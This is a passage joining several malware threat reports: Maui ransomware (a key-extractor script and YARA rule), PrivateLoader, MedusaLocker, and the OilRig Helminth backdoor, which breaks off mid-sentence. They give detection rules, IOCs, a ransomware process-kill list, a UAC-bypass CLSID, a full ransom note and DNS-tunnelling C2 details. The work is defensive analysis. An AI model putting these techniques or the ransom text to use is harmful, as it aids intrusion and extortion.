in copies of Maui. ```python #!/usr/bin/env python3 # Author: Silas Cutler ([email protected]) # Desc: Maui public key extractor import os import sys from Crypto.PublicKey import RSA def parse_key(inkey): keyPub = RSA.importKey(inkey) print(keyPub.exportKey().decode('utf-8')) def main(): with open(sys.argv[1], 'rb') as fhandle: fhandle.seek(-12, os.SEEK_END) if fhandle.read(4) == b'KBUP': print(" [D] Found PUBK sentinel") else: print(" [X] Missing PUBK sentinel") return False if fhandle.read(1) == b'\x01': print(" [D] Found pub key version") else: print(" [X] Invalid pub key version") return False fhandle.seek(-174, os.SEEK_END) rsakey = fhandle.read(162) parse_key(rsakey) if __name__ == "__main__": main() ``` ### YARA Rules Stairwell's Inception platform users already have access to associated YARA rules automatically. ```yara rule MauiRansomware { meta: author= "Silas Cutler ([email protected])" description = "Detection for Maui Ransomware" version = "0.1" strings: $ = "Unable to read public key info." wide $ = "it by <Godhead> using -maui option." wide $ = "Incompatible public key version." wide $ = "maui.key" wide $ = "maui.evd" wide $ = "Unable to encrypt private key" wide $ = "Unable to create evidence file" wide $ = "PROCESS_GOINGON[%d%% / %d%%]: %s" wide $ = "demigod.key" wide $ = "Usage: maui [-ptx] [PATH]" wide $ = "-p dir: Set Log Directory (Default: Current Directory)" wide $ = "-t n: Set Thread Count (Default: 1)" wide $ = "-x: Self Melt (Default: No)" wide $ = { 44 24 24 44 49 56 45 ?? 44 24 28 01 00 00 00 ?? 44 24 2C 10 00 00 00 } $ = { 44 4F 47 44 ?? ?? 04 01 00 00 00 } condition: 3 of them or ( uint32(filesize-8) == 0x00000001 and uint32(filesize-12) == 0x5055424B ) } ``` ### Files | File Name | File Type | Size | Sha256 Hash | |-------------|---------------------------|------|-------------| | proc.exe | Windows portable executable| 764K | 45d8ac1ac692d6bb0fe776620371fca0 | | aui.exe | Windows portable executable| 764K | 5b7ecf7e9d0715f1122baf4ce745c5fc | | Maui.exe | Windows portable executable| 764K | 830207029d83fd46a4a89cd623103ba2 | For more information on the intelligence provided in this report, contact us at [email protected]. Stairwell helps organizations take back the cybersecurity high ground with solutions that attackers can't evade. Its Inception platform empowers security teams to outsmart any attacker by providing continuous contextual threat analysis, detection, and response. The Inception platform is used by a number of Fortune 500 companies. Stairwell is comprised of security industry leaders and engineers from Google and is backed by Sequoia Capital, Accel, and Gradient Ventures.
# BlackBerry 2021 Threat Report ## Executive Summary The BlackBerry 2021 Threat Report examines the biggest cybersecurity events of last year and the security issues likely to affect the upcoming year. By publishing this information, we hope to minimize the damage of future cyber attacks and strengthen the global security posture. ## Major Events Impacting Cybersecurity in 2020 The most obvious cybersecurity event of the year was COVID-19. The pandemic created many opportunities for threat actors. Businesses worldwide struggled to implement secure work-from-home policies while the public weathered multiple COVID-19-themed attacks. Mercenary threat groups also experienced another year of growth as unscrupulous actors and organizations outsourced their cyber attacks. Ransomware-as-a-service (RaaS) offerings continued to grow in popularity, replacing the traditional off-the-shelf ransomware attacks seen in previous years. Off-the-shelf toolkits were still active throughout the year, simplifying cyber attacks with ready-made exploit kits, malspam campaigns, and threat emulation software like Cobalt Strike. Cryptocurrency also had a strong year. Bitcoin hitting new price highs in January 2021 may signal an upcoming increase in ransomware and cryptojacking attacks. ## Cybersecurity Issues in 2020 and 2021 Election security was a topic of great interest in 2020. Reporting focused primarily on electronic voting machines but gave little attention to obvious attack vectors like non-secure mobile devices and social media harvesting. On a positive note, recent strides in critical event management offer hope that large-scale disasters will be more efficiently anticipated and mitigated in the future. The BAHAMUT group, known by several other names and aliases, remained active in the South Asia and Persian Gulf regions. Meanwhile, Emotet, the banking-trojan-turned-attack-platform, received new upgrades and capabilities, including a flaw that allowed researchers to temporarily shut it down. The U.N. created cybersecurity guidelines for automakers, laying the groundwork for increased vehicle security. National governments are also taking a serious look at security issues. The United States and Canada are both poised to pass new cybersecurity legislation affecting hundreds of millions of people. Smartphones came under attack as innovative threat actors found new ways to exploit users’ expectations and trigger malicious GUI overlays. Deepfake threats continued to plague high-profile users but declined overall as threat groups embraced COVID-19-themed attacks. ## Introduction The BlackBerry 2021 Threat Report contains a broad range of cybersecurity topics vital to the interests of businesses, governments, and end-users. As always, the BlackBerry Threat Report represents our piece of the overall security puzzle. Our goal is to make security information, predictions, and lessons learned accessible to everyone, regardless of role or title. The BlackBerry 2021 Threat Report examines 2020’s major security events and considers recent advancements that may prevent past mistakes from repeating. It provides a deep dive into current cybersecurity issues with an eye toward not merely chronicling what happened but analyzing the conditions that allowed for those events. Preparation, as this report will demonstrate, is a key factor in successful threat prevention. Threat actors throughout the world are continuously developing new attack strategies and waiting for opportune moments to strike. Preparing for upcoming cyber attacks requires around-the-clock monitoring of the threat landscape. Understanding how current events impact your organization’s attack surface can make the difference between a data breach and a successful cyber defense. ## Threat Activity in 2020 ### COVID-19 as a Vulnerability In 2020, a Check Point report estimated that “Coronavirus-themed domains” had a 50% greater likelihood of being malicious than other domains registered in the same period. The global COVID-19 pandemic delivered new threats for both business and individuals alike. Businesses, especially those not requiring face-to-face interactions, had to contend with rapidly shifting the majority of their workforce to work from home. This caused an unprecedented transition from enterprise infrastructure and security to home Wi-Fi, virtual private networks (VPN), and bring-your-own-device (BYOD) configurations. The ramifications of that paradigm shift resulted in inadequate protections for employees and businesses. At the same time, the overall attack surface available to bad actors significantly increased. Attack vectors previously protected within the secure confines of the business premises and network potentially became an open path to confidential business data. This transition led to a huge rise in security breaches. Remote workers are cited as the cause of breaches for 20% of organizations since the start of the pandemic. Individuals, along with trying to stay both mentally and physically healthy during a pandemic, had to contend with an onslaught of COVID-19-themed cyber attacks. One attack saw cyber criminals prey on their victims’ concerns for their own welfare. Attackers attempted to trick users into installing a COVID-19 tracker application on their Android phones. The app would subsequently install CovidLock ransomware that locks the user out of their phones until they pay a $100 ransom. ### APT Mercenaries: Hackers for Hire BlackBerry researchers noted a continued rise in the outsourcing of cyber espionage to mercenary APT groups. The operations of BAHAMUT, one of the most elusive, patient, and effective threat actors, are examined later in this report. Newer groups, such as CostaRicto, have also been targeting seemingly disparate victims worldwide with their customized backdoors and tooling. From a high-level perspective, the tactics, techniques, and procedures (TTPs) of these mercenaries often resemble highly sophisticated state-sponsored campaigns. However, the profiles and geography of their victims are far too diverse to be aligned with a single bad actor’s interests. Outsourcing cyber espionage efforts might be attractive to disreputable businesses and individuals who lack the required tooling, infrastructure, and experience to conduct an attack themselves. Or, notorious adversaries experienced in cyber espionage could benefit from adding a layer of indirection to their attacks. Using a mercenary as a proxy can protect the identity of the real attacker and thwart attempts at attribution. ### Ransomware-as-a-Service Ransomware is a common and growing threat. Ransomware targets have expanded from random individuals to larger, more critical organizations, like those in the healthcare industry. There has also been a recent change in ransomware tactics to include extortion attempts. Attackers have moved from merely threatening catastrophic data loss to threatening to publish exfiltrated data to damage the victim’s brand. Threatening to publish stolen data results in a greater likelihood of ransomware payment. There has also been a transition away from off-the-shelf ransomware, which may be outdated or have questionable efficacy. Threat actors are increasingly embracing RaaS, which offers vendor support and better results for the cyber criminal due to frequent updates by the RaaS distributor. These features bear an increased cost to the attacker who agrees to pay a percentage of the ransom. The higher cost is passed on to the victims, as evidenced by the increase in average ransom demands. ### Cryptojacking Cryptojacking offers an illicit way to work around the rising costs of cryptomining. Cryptojacking is the unauthorized use of a computer to mine cryptocurrency. Cryptojacking software is generally either file-based or browser-based, and infections can occur in a variety of ways. Possible infection vectors include malspam, injected mining scripts from websites, and delivery as part of a later stage in cyber attacks. Cryptojackers often target high-powered servers in an enterprise environment in order to maximize their mining activities. ## Conclusion The BlackBerry 2021 Threat Report offers suggestions on how current vulnerabilities can be repaired in connected vehicles, mobile technology, elections, and more. We sincerely hope the information contained in this report will help readers be more effective in their efforts to combat today’s cyber threats.
# Tracking PrivateLoader: Malware Distribution Service PrivateLoader is a loader from a pay-per-install malware distribution service that has been utilized to distribute info stealers, banking trojans, loaders, spambots, and ransomware on Windows machines. First seen in early 2021, being hosted on websites that claim to provide cracked software, the customers of the service are able to selectively deliver malware to victims based on location, financial activity, environment, and specific software installed. BitSight's partial visibility over its botnet of infected machines suggests that it’s spread worldwide, with a significant percentage of infections in India and Brazil. ## Infection Chain PrivateLoader was seen being distributed through SEO-optimized websites that claim to provide cracked software. Victims download a password-protected zip file (the password is in the file name) which contains an NSIS installer that executes many malicious payloads, including PrivateLoader. It’s a multi-stage malware loader comprising at least three modules: the loader, the core, and the service. In the first stage, the loader is executed, which downloads and executes the second stage, the core module. The core module's primary purpose is to download and execute more malware, including another PrivateLoader module named service. The service module takes care of persistence by creating a scheduled task and, not only self-updates but also downloads and executes the loader module. ## Capabilities The main purpose of PrivateLoader is to download and execute more malware. Moreover, both static and dynamic analysis suggest that the malware has additional capabilities, such as disabling Windows Defender, the discovery of user-sensitive data, and many anti-analysis techniques. Previous research on PrivateLoader shared a YARA rule to detect and hunt its samples based on its string decryption technique and also a python script to extract all of its strings, which contains valuable information when reversing the malware. Those strings can also be used for defense, hunting, and tracking purposes since the command and control servers (C2) and other configuration values are included in them. ## Botnet Tracking Combining the mentioned sample hunting technique with previous research on how the bots communicate with their C2 servers allowed us to build a tracker that gives us visibility over what’s being distributed by PrivateLoader. We started tracking PrivateLoader in July 2022 and so far we’ve seen 1K+ URLs used to distribute 2K+ samples. As an example, this URL was used to distribute 4 samples of Redline malware. We’ve seen many URLs from Discord, VK, and Amazon CDNs, although domains and IPs are also often used. We were able to identify with high confidence 30 malware families being distributed by PrivateLoader. They are AgentTesla, Amadey, ArrowRAT, AsyncRAT, Azorult, Colibri, Danabot, DCRat, Eternity, Fabookie, Formbook, GCleaner, Glupteba, Gozi_ISFB, PseudoManuscrypt, Nitol, NetSupport, Nymaim, PrivateLoader, Qakbot, Raccoon, Redline, SmokeLoader, Socelars, STOP, Tofsee, Vidar, WarzoneRAT, XMRig, and YTStealer. Regarding the unknown samples, since this classification was done in an automated way, some samples are harder to programmatically classify; some signatures probably need to be improved, but also some of them might be new unknown malware. By sampling and manually analyzing some of the unknown samples, we mainly identify Redline and SmokeLoader, although Fabookie, Vidar, Raccoon, and NekoStealer families were also observed. BitSight's partial visibility over the geographical distribution of PrivateLoader in July 2022 suggests that it’s spread worldwide, with a significant percentage of infections in India (21%) and Brazil (16%). ## Indicators of Compromise - `0d7692792b4907f9470d3b1bb6ce8310` - NSIS installer - `e8fe5a28d052a908573b49ab0a904ca4` - PrivateLoader loader module - `5df119a002dcaf9b7ba82acfe35e4cb1` - PrivateLoader core module - `45abb1bedf83daf1f2ebbac86e2fa151` - PrivateLoader service module We are currently uploading our live PrivateLoader IoCs and dropped malware to abuse.ch: - PrivateLoader samples by YARA hunting - PrivateLoader C2 servers - Drop URLs obtained from the C2 server - Malware samples from drop URLs ## Threat Hunting Signatures **Yara rule** The following rule was tested with VirusTotal Retrohunt, which returned 1K+ samples within a one-year time period. **Suricata rule** The following rule was tested with a PCAP generated from a sandbox run of the loader module.
# Try not to stare - MedusaLocker at a glance Mystic but also a new(-ish) threat: Medusa ransomware. Let's take a quick peek, but don't look too close or you may need to fetch backups soon. A general disclaimer as always: downloading and running the samples linked below will lead to the encryption of your personal data, so be f$cking careful. Also check with your local laws as owning malware binaries/sources might be illegal depending on where you live. ## Sample Hashes - **medusa.exe @ AnyRun** SHA256: 3a5b015655f3aad4b4fd647aa34fda4ce784d75a20d12a73f8dc0e0d866e7e01 - **dix_16.exe @ HybridAnalysis** SHA256: 49da42d00cc3ad6379ead2e07fd5f09bd358b144a6e78aad4bb1a8298e2bb568 Taking a look at the string dump that stringsifter produced, one of the first things that stood out was this base64 encoded image. After decoding it we get an image of a medieval pest doctor. Fun fact: They wore these masks because they thought it would protect them from the black death. One day someone will probably start selling these for endpoint protection. Another interesting extracted string is this PDB-Path: `C:\Users\Gh0St\Desktop\MedusaLockerInfo\MedusaLockerProject\MedusaLocker\Release\MedusaLocker.pdb` Running it through Detect it easy returns that MedusaLocker was built with Visual C++ and a (in malware-terms) relatively new Linker Version. Entropy-wise it doesn't look like this sample is packed and the sections found don't look out of the ordinary either. After digging around in Ghidra for a bit I found `FUN_00405bc0` which seems to be the main program routine of MedusaLocker. The strings shown here match the output in the debug console present in the second sample discussed below. Yet another mysterious CLSID that I can't make sense of at the moment: `{8761ABBD-7F85-42EE-B272-A76179687C63}`. Search results referencing it are around since October 21st and might make tracking Medusa a bit easier. Next up the Locker will "initialize the crypto module" which uses `CryptGenKey` provided by WinCrypt to derive a keypair. It will skip files with the following suffixes: `exe, dll, sys, ini, lnk, rdp, encrypted` As it is very popular with Ransomware to disable the Automatic Startup Repair and delete System Restore Points plus shadow copies, Medusa will do so as well. After that it will also relaunch `LanmanWorkstation` to ensure that mapped network drives are available. After the "Adding to Autoload" debug message, it will rename itself to `svchost.exe` and add its Registry Key to the System startup. MedusaLocker will try to terminate the following processes by their name. The list contains Security Software as well as Services commonly used in productive environments such as SQL or Webservers: `wrapper, DefWatch, ccEvtMgr, ccSetMgr, SavRoam, sqlservr, sqlagent, sqladhlp, Culserver, RTVscan, sqlbrowser, SQLADHLP, QBIDPService, Intuit.QuickBooks.FCS, QBCFMonitorService, sqlwriter, msmdsrv, tomcat6, zhudongfangyu, SQLADHLP, vmware-usbarbitator64, vmware-converter, dbsrv12, dbeng8wxServer.exe, wxServerView, sqlservr.exe, sqlmangr.exe, RAgui.exe, supervise.exe, Culture.exe, RTVscan.exe, Defwatch.exe, sqlbrowser.exe, winword.exe, QBW32.exe, QBDBMgr.exe, qbupdate.exe, QBCFMonitorService.exe, axlbridge.exe, QBIDPService.exe, httpd.exe, fdlauncher.exe, MsDtSrvr.exe, tomcat6.exe, java.exe, 360se.exe, 360doctor.exe, wdswfsafe.exe, fdlauncher.exe, fdhost.exe, GDscan.exe, ZhuDongFangYu.exe` It also copies itself to `%APPDATA%` after renaming the executable to `svchostt.exe`. To check if an instance of MedusaLocker previously ran on the system, it will create a Registry Key at `HKEY_CURRENT_USER\Software\Medusa`. Furthermore, it tries to read the State of `EnableLinkedConnections` via `RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"` and enables the key if necessary since Medusa tries to encrypt Shared Network Drives and removable Media as well. After terminating the encryption loop, the Ransomware will wait for 60 seconds and start a new scan to check for new unencrypted files. Running MedusaLocker in a VM yields us this UAC Prompt with a mysterious CLSID (`{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`). A quick google search brings us to Wikileaks Page for the CIA Vault7 leaks and the ID seems to be corresponding to `cmstplua.dll`. Turns out this is an UAC bypass known and implemented since August 2017. The Ransomnote (which is dropped in every directory that contains files to encrypt) is delivered as an HTML file. In this early sample, they seem to have messed up their text alignment. This was fixed in a later version and will make it easier to identify new samples as they may appear. This sample seems to have an enabled debug console which allows us to trace the steps of the infection. Below you can see the new ransomnote. The Protonmail E-Mail address was exchanged for a cock.li one and the Victim ID blob was fitted to the textbox. BleepingComputer Forum User ttrifonov who was hit by the ransomware as well found suspicious files on his Desktop after the Infection took place. Fortunately for us, Medusa skipped the executables. This would be a huge discovery infection vector-wise as this looks like the attacker gained access to the machine via RDP. (Yet another proof that RDP exposed to the internet isn't a good idea). Looks like the attacker left a few files related to Mimikatz as well. As I mentioned earlier, the keypair is generated via `CryptGenKey`. I'm still trying to map out all the actions on the key material. The encryption itself is done via the `CryptEncrypt` function. It seems to use AES for the files and then encrypts the key with a RSA-2048 public key that is stored via a keyblob in the executable. After the encryption routine is done, the generated `hKey` is deleted via `CryptDestroyKey`. ## Update 23.11.2019 Now I want to take a closer look at the files left by the attacker on the Victim's Desktop as it was reported multiple times on the BleepingComputer Forum. Besides the Mimikatz files in the kamikadze directory, there is a semi-legit tool called "Advanced Port Scanner" (AnyRun, which is basically just a garbage Zenmap alternative for Windows people) and another one called "NetworkShare.exe" (AnyRun, seems to scan for reachable network shares and tries to mount them). It also looks like there's a dedicated version of MedusaLocker for Windows XP called `dix_16_xp.exe`. As you can see below, the Debug Messages start with `[LockerXP]` instead of `[Locker]`. ## The Decryptor The Decryptor is delivered per Machine with a 4 letter filename indicating to which victim ID it belongs. ## IOCs **Medusa (SHA256)** - **medusa.exe** --> SHA256: 3a5b015655f3aad4b4fd647aa34fda4ce784d75a20d12a73f8dc0e0d866e7e01 SSDEEP: 12288:f+IZ+bobAyYFJPrsU4VwryxjpBx8ajiOhA8tsV1YRbRb7:2++EMyYFJPoUecOh8aWdD1UB7 - **dix_16.exe** --> SHA256: 49da42d00cc3ad6379ead2e07fd5f09bd358b144a6e78aad4bb1a8298e2bb568 SSDEEP: 24576:nJC1YAOp0eRaNaQgxPubcoiukAby3LV1jqjx9/WBRQ/8PxS//lTQKJfF27:nw1OfMGxRoiuWZ1jUx9qrS3lsC27 - **dix_16_xp.exe** --> SHA256: 6c7eda3f5e9bbc685b0eefde2a51f0ccb06ad33805e617876a5124410cac9945 SSDEEP: 24576:Sx7USQ2bEdBF4XUCAdbpH7KYlvnIVGDDUWuXrO0VY/QjFdIkyoRn:MISXu5C47KMIaDWVY/QZdjpB ## E-Mail Addresses - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] - [email protected] ## Associated Files - svchostt.exe - HOW_TO_OPEN_FILES.html - Advanced Port Scanner 2.4.2750.exe - d_upd1008.exe - NetworkShare_pre2.exe - PsExec64.exe (legitimate) - PsExec.exe (legitimate) - b.bat - NetworkShare.exe - kamikadze/32.exe - kamikadze/64.exe - kamikadze/64_log.txt - kamikadze/dump.bat - kamikadze/mimidrv (2).sys - kamikadze/mimilib (2).dll - kamikadze/86_log.txt - kamikadze/mimidrv.sys - kamikadze/mimilib.dll ## Registry Keys - HKCU\SOFTWARE\Medusa - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ --> EnableLinkedConnections = 1 - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System --> ConsentPromptBehaviorAdmin = 5 - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System --> EnableLUA = 1 ## Ransomnote All your data are encrypted! What happened? Your files are encrypted, and currently unavailable. You can check it: all files on your computer have new expansion. By the way, everything is possible to recover (restore), but you need to buy a unique decryptor. Otherwise, you never can return your data. For purchasing a decryptor contact us by email: [email protected]. If you will get no answer within 24 hours contact us by our alternate emails: [email protected]. What guarantees? It's just a business. If we do not do our work and liabilities - nobody will cooperate with us. To verify the possibility of the recovery of your files we can decrypt 1 file for free. Attach 1 file to the letter (no more than 10Mb). Indicate your personal ID on the letter: `54E87CD3C1529DD06EB22FF80C49B5374ABB8E5B30D06E13BBE2E81411234A20DF1ADA53FDA68BD6294C96DAC3049B4BDC5FE764BF468AF1A029B41162759D6164EB0652E95D3FAE3939773B505073E6090079C9C9243EE8B96AEB41A43B787B47DD01425E042C6CBDE89BB5F2E7F9CC6601BD9430E87B42A56BEEFF207F20F9E4E5E48FA3274AE0DE8D65EEC0F2BA2CC4AECB22A6FD2B21FF152A6A11BD86D063A965C1571078A439C97D52215738104F7B6EF7415CC4A2C03260BCB9A84E71E0883268747739CFF3002697B8AD04E01A6B6DC0A460F4273778429962A7AEECEE3BA16A577A6B1D6B67A7FAEFA5C9CB8BBCEFEDC3FF6B0BE5D37B69B42BBEE2EA0D00C7439858D2D9BD4A57B47F3E05EBF913F5FAB195AF0575DD345E84347A82010CDC4C0507C986C61ED4091E4155585A687EAB73CBEA8ADA7B93B5EB67877CDD0E35C9116B8DCADD2038C4EEAC42302F3B787E54F8AD24012A89B3C32252BD438399FAE630A1E099E9D130E7EA7E042841B468FF00FCF86B9C07C054827EE76956211CE70FEB686EC19934C96D1D35DD713CA33774C4D5D0` **Attention!** - Attempts of change files by yourself will result in a loss of data. - Our e-mail can be blocked over time. Write now, loss of contact with us will result in a loss of data. - Use any third-party software for restoring your data or antivirus solutions will result in a loss of data. - Decryptors of other users are unique and will not fit your files and use of those will result in a loss of data. - If you will not cooperate with our service - for us, it does not matter. But you will lose your time and data, cause just we have the private key.
# The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor **By Robert Falcone and Bryan Lee** **May 26, 2016** In May 2016, Unit 42 observed targeted attacks primarily focused on financial institutions and technology organizations within Saudi Arabia. Artifacts identified within the malware samples related to these attacks also suggest the targeting of the defense industry in Saudi Arabia, which appears to be related to an earlier wave of attacks carried out in the fall of 2015. We have grouped these two waves of attacks into a campaign we have named ‘OilRig’. In recent OilRig attacks, the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks. Earlier OilRig attacks appear to use fake job offers as a social engineering theme. The campaign appears highly targeted and delivers a backdoor we have called ‘Helminth’. Over the course of the attack campaign, we have observed two different variations of the Helminth backdoor, one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable. ## Clayslide: Excel Macros Install Helminth Script In May 2016, Unit 42 began researching attacks that used spear-phishing emails with attachments, specifically malicious Excel spreadsheets sent to financial organizations within Saudi Arabia. We observed spear-phishing emails sent between May 4 and May 12 of this year that delivered these malicious Excel spreadsheets, which we are tracking as ‘Clayslide’. Clayslide documents contain malicious macros that display decoy content within the spreadsheet and install a variant of a Helminth backdoor. FireEye also reported on these attacks in a May 22 blog post. The macro within Clayslide samples installs the Helminth script, which is composed of a VBScript called ‘update.vbs’ and a PowerShell script called ‘dns.ps1’. The purpose of the VBScript is to send network beacons to its command and control server using HTTP requests and will either download a file or run a batch script provided within the HTTP response. The VBScript also uploads the output of the provided batch scripts to the command and control (C2) server, which provides threat actors a functional remote shell to the system. The PowerShell script has similar capabilities to the VBScript, but instead of using HTTP for communications, it uses a series of DNS queries to send and receive data from the server. This communication channel relies on the C2 server responding to DNS queries with IP addresses that the PowerShell script will parse and treat as data to construct a batch script to execute on the system. The script specifically looks for the IP address “33.33.x.x” to mark the beginning of the batch script transfer. The script will continue sending additional DNS requests and use the octets of the resolving IP addresses as characters to write to the batch script. The script continues to write data to the batch script until it receives the IP address “35.35.35.35”, which notifies the script to stop saving data to the file and to run the batch script. Please reference the Appendix for more detailed information on the Clayslide delivery documents and the Helminth script variant. ## Discovery of Executable Helminth Variant Additional samples were discovered in WildFire exhibiting the same DNS-based C2 behavior as the script variant of Helminth; however, many of these samples were found to be Windows executables, instead of the previously observed VBScript and PowerShell combination. These samples were found to contain the same functionality as the previously mentioned Helminth samples. This suggests that the threat actors developed the executable variant of Helminth as a standalone option whose installation does not rely on a macro within an Excel spreadsheet. This also suggests that the threat actors purposely used the same communication methods across both variants with the intention to use the same command and control server application. This variant of the Trojan is also where we obtained its name, as several of these payloads had the following debug symbol path that suggests the malware author called this project ‘Helminth’: E:\Projects\hlm updated\Helminth\Release\Helminth.pdb Please reference the Appendix for additional details on the Helminth executable variant. ## Delivery of Windows Executable Helminth Variant Unit 42 does not have detailed targeting information associated with attacks delivering the executable variant of the Helminth Trojan; however, we found a Zip archive created in August 2015 that may have been used by the threat actors to deliver the Helminth Trojan. This Zip file was hosted at the following location: hxxp://minfosecu.doosan[.]com/data/joboffer.zip The Zip archive is encrypted with an unknown password, but we know it contains two files named joboffer.chm and thumb.db. The thumb.db file in the archive has the same name and file size (368128 bytes) as a dropper Trojan we track as ‘HerHer’ that installs a known Helminth executable sample. The joboffer.chm file is a compiled HTML file that we believe loads and executes the ‘thumb.db’ file as a payload, but we cannot be absolutely sure as we do not have the password required to extract the files from the archive. The decoy opened by the Helminth sample installed by ‘thumb.db’ is a dialog box associated with HTML help, which further strengthens our theory that the joboffer.chm ran the sample. This decoy suggests that the threat actors wanted to open the HTML help dialog after installing the Helminth Trojan, as the joboffer.chm file is effectively a standalone HTML file. We believe that the threat actors employed social engineering to underplay the situation and provide a different legitimate job offer if the victim responded with concerns of malicious activity. The executable variant of Helminth is installed with a dropper Trojan that we are tracking as the HerHer Trojan. This Trojan has two objectives: installing embedded Trojans and displaying either a fake error prompt or a fake “troubleshooting” utility. The Helminth executable variant is very similar in functionality to its script-based counterpart, as it also communicates with its C2 server using both HTTP and DNS queries. The major difference in capabilities between the two variants is that the executable version comes with a module that Helminth uses to log keystrokes and the clipboard contents to exfiltrate to the C2 server. Helminth executable samples send artifacts within network beacons to its C2 server that the Trojan refers to as a ‘Group’ and ‘Name’. We extracted the group and name values from the Helminth executable samples to determine their purpose. It appears that the group values hardcoded into the malware are associated with the targeted organization, as several are Saudi Arabian organizations within the telecommunications and defense industries. This suggests that the threat actors are not only focused on financial organizations, as their target set could include other industries as well. The name values hardcoded into the Helminth samples are also interesting, as a majority of the names are related to famous philosophers, such as ‘Plato’ and ‘Arasto’ (Persian and Urdu for Greek philosopher Aristotle). Other name values embedded in samples contain other Persian words, such as ‘Nafti’ (ﯽﺘﻔﻧ) that translates to ‘oily’, which led us to name this campaign OilRig. ## Helminth Infrastructure Examining the known infrastructure of the collected sample set of Helminth provides several interesting findings in regards to the adversary’s tactics. The variants leveraging malicious macros embedded in Excel documents all share the same command and control server of go0gie[.]com. The executable variants, on the other hand, used a variety of domains: - checkgoogle[.]org - mydomain1110[.]com - kernel[.]ws - mydomain1607[.]com - mydomain1609[.]com Each sample of the weaponized Excel document variant used a unique command and control domain to retrieve a bot ID, using the following format: 00000000<base 36 of a random number smaller than 46655>30.go0gie[.]com Each of these domains, however, resolved to the same IP address of 5.39.112.87. This IP is observed as the resolution for two domains in use by the portable executable variants, kernel[.]ws and mydomain1110[.]com. Judging by compile timestamps of the executables and last saved timestamps of the weaponized documents, it is likely the adversary is recycling a previously created C2 server at 5.39.112.87 for the newer macro-based variant. The other C2 domains and IPs observed in use by the previous portable executable samples did not have shared infrastructure with the newer macro variants, although there is tactical overlap via the naming scheme of the domains. Historical WHOIS data reveals additional findings, potentially alluding to an Iranian-based operator. From a timeline perspective, a new domain was registered almost in consecutive months, beginning in July 2015. Each of the domains' WHOIS data contained registrant information that was either reused or was closely related to previously used information. For example, the domains mydomain1607[.]com and mydomain1609[.]com used the exact same registrant information. The email address edmundj@chmail[.]ir and the geolocation of Tehran, Iran, being of note. Kernel[.]ws and checkgoogle[.]org used very similar email addresses, andre_serkisian@yahoo[.]com and andre.serkisian@chmail[.]ir, respectively. The registrant information for kernel[.]ws also provided a geolocation of Tehran, IR and the email provider for the address used in checkgoogle[.]org was the same used for mydomain1607[.]com and mydomain1609[.]com, chmail.ir. The mydomain1110[.]com domain did not appear to reuse any of the previously observed WHOIS data artifacts, but did still give a geolocation of Tehran in addition to the use of an email address linked to other domains thematically similar to the known command and control domains and are potentially related. Although there is heavy use of Iranian-based artifacts within the WHOIS registrant information, it is important to remember that this data is easily falsified. At face value, however, taking into account the registrant information and the use of Persian language in the samples are compelling indicators that the operators may indeed be based out of Iran. ## Conclusion While researching the OilRig campaign, we have seen two waves of targeted attacks on Saudi Arabian organizations in which a group of threat actors delivered the Helminth Trojan as a payload. The two waves of attacks used separate variants of the Helminth Trojan, specifically a script and executable variant of the Trojan. The two variants of Helminth use almost identical command and control protocols, which allows the threat actors to maintain consistent infrastructure throughout the campaign to manage the compromised hosts, regardless of the Helminth variant used in the attack. The two variants of Helminth do require different delivery methods, with the script variant relying on an Excel spreadsheet for delivery, while the executable variant is more traditional in the fact that it can be installed without a delivery document. We speculate that the executable variant involves threat actors socially engineering the victim into running the payload, rather than installing the payload as the result of successful exploitation of a vulnerability. The multiple delivery methods suggest this threat group is capable of adapting their procedures to suit the current operation in the overarching campaign. Palo Alto Networks customers are protected from the Helminth Trojan and can gather additional information using the following tools: - WildFire detection of all known samples as malicious - All Helminth C2 domains have DNS signatures created and are identified as malicious in PAN-DB. - AutoFocus tags Clayslide, Helminth, and HerHerDropper. ## Appendix ### Clayslide Delivery Documents At first, Clayslide spreadsheets display a worksheet called “Incompatible” that contains instructions for the user to manually enable macros. This is an attempt to trick the user into running the embedded macro to install the Trojan, which does not require any vulnerability exploitation. Before the user can enable the macros in accordance with the instructions displayed in the spreadsheet, the user must click the red bar displayed by Protected View and click the “Edit Anyway” button. After clicking the “Edit Anyway” button, Excel displays another security warning bar alerting that the spreadsheet contains macros. The “Enable Content” button mentioned within the instructions displayed within the Clayslide spreadsheet is now presented to the user. If the user clicks the “Enable Content” button, the macro hides the “Incompatible” worksheet and makes hidden worksheets visible that display decoy content to minimize the victim’s suspicions of malicious behavior taking place. After displaying the decoy content, the macro begins installing the script variant of the Helminth Trojan to the system. The process used by the macro to install this variant of Helminth begins with the creation of the following files and folders: - %PUBLIC%\Libraries\update.vbs - %PUBLIC%\Libraries\dns.ps1 - %PUBLIC%\Libraries\up - %PUBLIC%\Libraries\dn - %PUBLIC%\Libraries\tp The malicious macro finishes the installation process by creating a scheduled task that is responsible for running the two scripts at regular intervals, as the scripts themselves do not have the ability to continually run after the initial execution. ### Helminth Script Variant The script variant of the Helminth Trojan consists of a VBScript and PowerShell script named update.vbs and dns.ps1. The update.vbs script is responsible for reaching out to its command and control (C2) server using HTTP requests to the following two URLs: - hxxp://go0gIe.com/sysupdate.aspx?req=<random number>%5Cdwn&m=d - hxxp://go0gIe.com/sysupdate.aspx?req=<random number>%5Cbat&m=d The C2 server will respond to the HTTP requests to the “bat&m=d” URL with a batch script that update.vbs will save to the “dn” folder and execute. The output of the downloaded batch script is saved to a text file in the “up” folder and uploaded to the C2 server via an HTTP POST request to the following URL: - hxxp://go0gIe.com/sysupdate.aspx?req=<random number>%5Cupl&m=u Palo Alto Networks WildFire observed commands provided by the C2 server for the known Helminth samples. The commands show that the threat actors are attempting to do initial information gathering on the system, including available user accounts, username, computer name, running tasks, services, network services, and if remote desktop is enabled. The update.vbs concludes by running the dns.ps1 PowerShell script. The dns.ps1 script is also responsible for communicating with the C2 server, but it uses DNS queries to send data to the server. The DNS queries sent by this script are queries to subdomains on the same domain as the C2 